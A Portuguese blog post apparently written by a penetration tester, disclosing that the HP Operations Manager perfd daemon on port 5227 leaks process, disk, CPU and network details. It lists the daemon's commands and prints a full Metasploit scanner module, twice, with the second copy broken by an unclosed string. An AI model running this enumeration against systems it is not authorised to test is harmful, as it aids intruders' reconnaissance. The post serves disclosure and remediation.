Vazamento de informações vitais via "HP Operations Manager Perfd"
Durante um teste de intrusão (Penetration Test) realizado recentemente, encontrei um daemon chamado perfd que escutava na porta 5227. De acordo com a IANA, o daemon é o serviço "HP Performance System Metric Service". Vamos ver o que ele oferece de informações vitais na visão de um atacante.
Vamos lá?
Durante um teste de intrusão (Penetration Test) realizado recentemente, encontrei um daemon chamado perfd que escutava na porta 5227. De acordo com a IANA[1], o daemon é o serviço "HP Performance System Metric Service"[2].
Após uma rápida análise, descobri que o daemon responde com dados vitais e podemos visualizar informações como CPU, discos, processos etc.
Comandos:
O vazamento de informações confidenciais através do acesso à funcionalidade do aplicativo é, geralmente, devido a problemas na concepção do projeto. Embora aparentemente inócua, esta informação pode fornecer pistas sobre a aplicação e os sistemas que o suportam, muitas vezes revelando detalhes sobre o funcionamento interno do sistema.
Idealmente, você deve configurar o aplicativo para ser acessível somente por administradores de sistema e/ou pessoal de suporte.
Para automatizar, escrevi um módulo para o Metasploit[3], acelerando os comandos a serem executados no alvo.
Uso[4]:
Nota: alterar o endereço IP (RHOSTS) para o correto.
Saída:
Visualizando o arquivo salvo, você vai encontrar um resultado semelhante a este abaixo (neste caso, os processos):
Previamente postado pelo mesmo autor, em:
Após uma rápida análise, descobri que o daemon responde com dados vitais e podemos visualizar informações como CPU, discos, processos etc.
Comandos:
- u - discos compartilhados
- i - espaço do disco
- p - lista dos processos
- a - informações sobre CPU
- g - status do servidor
- l - interfaces de rede (estatísticas de entrada/saída)
- T - escopo de transações
- A - outras informações
- q e Q - sai do prompt
O vazamento de informações confidenciais através do acesso à funcionalidade do aplicativo é, geralmente, devido a problemas na concepção do projeto. Embora aparentemente inócua, esta informação pode fornecer pistas sobre a aplicação e os sistemas que o suportam, muitas vezes revelando detalhes sobre o funcionamento interno do sistema.
Idealmente, você deve configurar o aplicativo para ser acessível somente por administradores de sistema e/ou pessoal de suporte.
Para automatizar, escrevi um módulo para o Metasploit[3], acelerando os comandos a serem executados no alvo.
Uso[4]:
Nota: alterar o endereço IP (RHOSTS) para o correto.
Saída:
Visualizando o arquivo salvo, você vai encontrar um resultado semelhante a este abaixo (neste caso, os processos):

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# TODO: figure out what these do:
# o: valid command, takes no args, does nothing
# B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args
ALLOWED_COMMANDS = %w(a A i g l p t T u w Z)
def initialize
super(
'Name' => 'HP Operations Manager Perfd Environment Scanner',
'Description' => %q{
This module will enumerate the environment
HP Operation Manager via daemon perfd.
},
'Author' => [ 'Roberto Soares Espreto' ],
'License' => MSF_LICENSE
)
commands_help = ALLOWED_COMMANDS.join(',')
register_options(
[
Opt::RPORT(5227),
OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help])
], self.class)
end
def commands
datastore['COMMANDS'].split(/[, ]+/).map(&:strip)
end
def setup
super
if datastore['COMMANDS']
bad_commands = commands - ALLOWED_COMMANDS
unless bad_commands.empty?
fail ArgumentError, "Bad perfd command(s): #{bad_commands}"
end
end
end
def run_host(target_host)
begin
connect
banner_resp = sock.get_once
if banner_resp && banner_resp =~ /^Welcome to the perfd server/
banner_resp.strip!
print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}")
perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp)
sock.puts("\n")
commands.each do |command|
sock.puts("#{command}\n")
Rex.sleep(1)
command_resp = sock.get_once
loot_name = "HP Ops Agent perfd #{command}"
path = store_loot(
"hp.ops.agent.perfd.#{command}",
'text/plain',
target_host,
command_resp,
nil,
"HP Ops Agent perfd #{command}",
perfd_service
)
print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}")
end
else
print_error("#{target_host}:#{rport}, Perfd server banner detection failed!")
end
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue Timeout::Error => e
print_error(e.message)
end
end
end
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# TODO: figure out what these do:
# o: valid command, takes no args, does nothing
# B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args
ALLOWED_COMMANDS = %w(a A i g l p t T u w Z)
def initialize
super(
'Name' => 'HP Operations Manager Perfd Environment Scanner',
'Description' => %q{
This module will enumerate the environment
HP Operation Manager via daemon perfd.
},
'Author' => [ 'Roberto Soares Espreto
'License' => MSF_LICENSE
)
commands_help = ALLOWED_COMMANDS.join(',')
register_options(
[
Opt::RPORT(5227),
OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help])
], self.class)
end
def commands
datastore['COMMANDS'].split(/[, ]+/).map(&:strip)
end
def setup
super
if datastore['COMMANDS']
bad_commands = commands - ALLOWED_COMMANDS
unless bad_commands.empty?
fail ArgumentError, "Bad perfd command(s): #{bad_commands}"
end
end
end
def run_host(target_host)
begin
connect
banner_resp = sock.get_once
if banner_resp && banner_resp =~ /^Welcome to the perfd server/
banner_resp.strip!
print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}")
perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp)
sock.puts("\n")
commands.each do |command|
sock.puts("#{command}\n")
Rex.sleep(1)
command_resp = sock.get_once
loot_name = "HP Ops Agent perfd #{command}"
path = store_loot(
"hp.ops.agent.perfd.#{command}",
'text/plain',
target_host,
command_resp,
nil,
"HP Ops Agent perfd #{command}",
perfd_service
)
print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}")
end
else
print_error("#{target_host}:#{rport}, Perfd server banner detection failed!")
end
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue Timeout::Error => e
print_error(e.message)
end
end
end
Referências
- [1] Service Name and Transport Protocol Port Number Registry
- [2] Aplication: HP Operations Manager Agent (previously called as HP OpenView Operations Agent) - HP OpenVMS Systems - Operations Manager Agent
- [3] metasploit-framework/hp_enum_perfd.rb at master · rapid7/metasploit-framework · GitHub
- [4] HP Operations Manager Perfd Environment Scanner | Rapid7
Previamente postado pelo mesmo autor, em: